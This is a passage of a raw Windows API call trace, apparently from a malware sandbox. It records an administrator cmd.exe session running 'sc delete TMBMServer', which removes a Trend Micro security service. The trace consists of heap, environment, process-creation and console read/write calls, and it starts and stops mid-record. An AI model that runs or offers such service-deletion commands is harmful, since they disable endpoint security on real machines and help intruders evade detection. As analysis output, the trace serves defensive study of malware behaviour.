lpMultiByteStr="sc delete TMBMServer\n", lpUsedDefaultChar=0x0) returned 22 [0071.414] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x15, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x15, lpOverlapped=0x0) returned 1 [0071.414] GetProcessHeap () returned 0x4a0000 [0071.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.414] GetProcessHeap () returned 0x4a0000 [0071.414] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.414] GetProcessHeap () returned 0x4a0000 [0071.414] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.415] GetProcessHeap () returned 0x4a0000 [0071.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.415] GetProcessHeap () returned 0x4a0000 [0071.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x36) returned 0x4b6510 [0071.415] GetConsoleOutputCP () returned 0x1b5 [0071.415] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.415] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.415] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.415] GetProcessHeap () returned 0x4a0000 [0071.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.415] GetProcessHeap () returned 0x4a0000 [0071.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3c) returned 0x4baa40 [0071.415] GetProcessHeap () returned 0x4a0000 [0071.415] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0071.416] SetErrorMode (uMode=0x0) returned 0x1 [0071.416] SetErrorMode (uMode=0x1) returned 0x0 [0071.416] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.416] SetErrorMode (uMode=0x1) returned 0x1 [0071.416] GetProcessHeap () returned 0x4a0000 [0071.416] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0071.416] GetProcessHeap () returned 0x4a0000 [0071.416] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0071.416] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.416] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.416] GetProcessHeap () returned 0x4a0000 [0071.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.416] GetProcessHeap () returned 0x4a0000 [0071.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.416] GetProcessHeap () returned 0x4a0000 [0071.416] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.416] GetProcessHeap () returned 0x4a0000 [0071.416] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.416] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.416] GetProcessHeap () returned 0x4a0000 [0071.416] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0071.416] GetProcessHeap () returned 0x4a0000 [0071.416] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0071.416] GetProcessHeap () returned 0x4a0000 [0071.416] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0071.417] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.417] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.417] GetLastError () returned 0x2 [0071.417] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.417] GetLastError () returned 0x2 [0071.417] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.417] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.417] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.417] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.418] GetLastError () returned 0x2 [0071.418] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0071.418] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0071.418] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.418] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.418] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.418] GetProcessHeap () returned 0x4a0000 [0071.418] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.418] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.418] GetProcessHeap () returned 0x4a0000 [0071.418] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xa2) returned 0x4b9180 [0071.418] GetProcessHeap () returned 0x4a0000 [0071.418] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xa2 [0071.418] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMBMServer") returned 1 [0071.419] GetProcessHeap () returned 0x4a0000 [0071.419] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.419] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.419] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.419] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.419] GetProcessHeap () returned 0x4a0000 [0071.419] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.419] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.419] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.419] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.420] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.421] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.421] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.421] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.421] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.421] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.421] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.421] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.421] GetProcessHeap () returned 0x4a0000 [0071.421] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0071.421] GetProcessHeap () returned 0x4a0000 [0071.421] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0071.421] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMBMServer", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMBMServer", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete TMBMServer", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0xa94, dwThreadId=0xadc)) returned 1 [0071.425] CloseHandle (hObject=0x54) returned 1 [0071.425] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.425] GetProcessHeap () returned 0x4a0000 [0071.425] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0071.425] GetEnvironmentStringsW () returned 0x4c1b10* [0071.425] GetProcessHeap () returned 0x4a0000 [0071.425] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0071.425] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.425] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0071.425] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdc000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0071.425] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0071.470] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0071.470] CloseHandle (hObject=0x50) returned 1 [0071.470] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0071.470] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0071.470] GetProcessHeap () returned 0x4a0000 [0071.470] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.470] GetEnvironmentStringsW () returned 0x4c1b10* [0071.470] GetProcessHeap () returned 0x4a0000 [0071.470] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0071.470] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.470] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0071.470] GetProcessHeap () returned 0x4a0000 [0071.470] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0071.470] GetEnvironmentStringsW () returned 0x4c1b10* [0071.470] GetProcessHeap () returned 0x4a0000 [0071.470] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0071.470] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0071.470] GetProcessHeap () returned 0x4a0000 [0071.470] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0071.471] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0071.471] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0071.471] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.471] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.471] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.471] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0071.471] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.471] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0071.472] GetConsoleOutputCP () returned 0x1b5 [0071.472] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.472] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.472] GetProcessHeap () returned 0x4a0000 [0071.472] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0071.472] GetProcessHeap () returned 0x4a0000 [0071.472] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0071.472] GetProcessHeap () returned 0x4a0000 [0071.472] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0071.472] GetProcessHeap () returned 0x4a0000 [0071.472] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0071.472] GetProcessHeap () returned 0x4a0000 [0071.472] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0071.472] GetProcessHeap () returned 0x4a0000 [0071.472] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0071.472] GetProcessHeap () returned 0x4a0000 [0071.472] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0071.472] GetProcessHeap () returned 0x4a0000 [0071.472] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0071.472] GetProcessHeap () returned 0x4a0000 [0071.472] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0071.473] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0071.473] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.473] GetFileType (hFile=0x120) returned 0x3 [0071.473] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0071.473] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0071.473] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0071.473] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0071.473] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0071.473] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0071.473] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.473] GetFileType (hFile=0x120) returned 0x3 [0071.473] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0071.473] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0071.473] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.473] GetFileType (hFile=0xb8) returned 0x3 [0071.473] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.473] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.473] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.474] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.474] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.474] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.475] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te TMBMServer\nRY$HL\"\nvice\n\n") returned 1 [0071.475] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.475] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.475] ReadFile 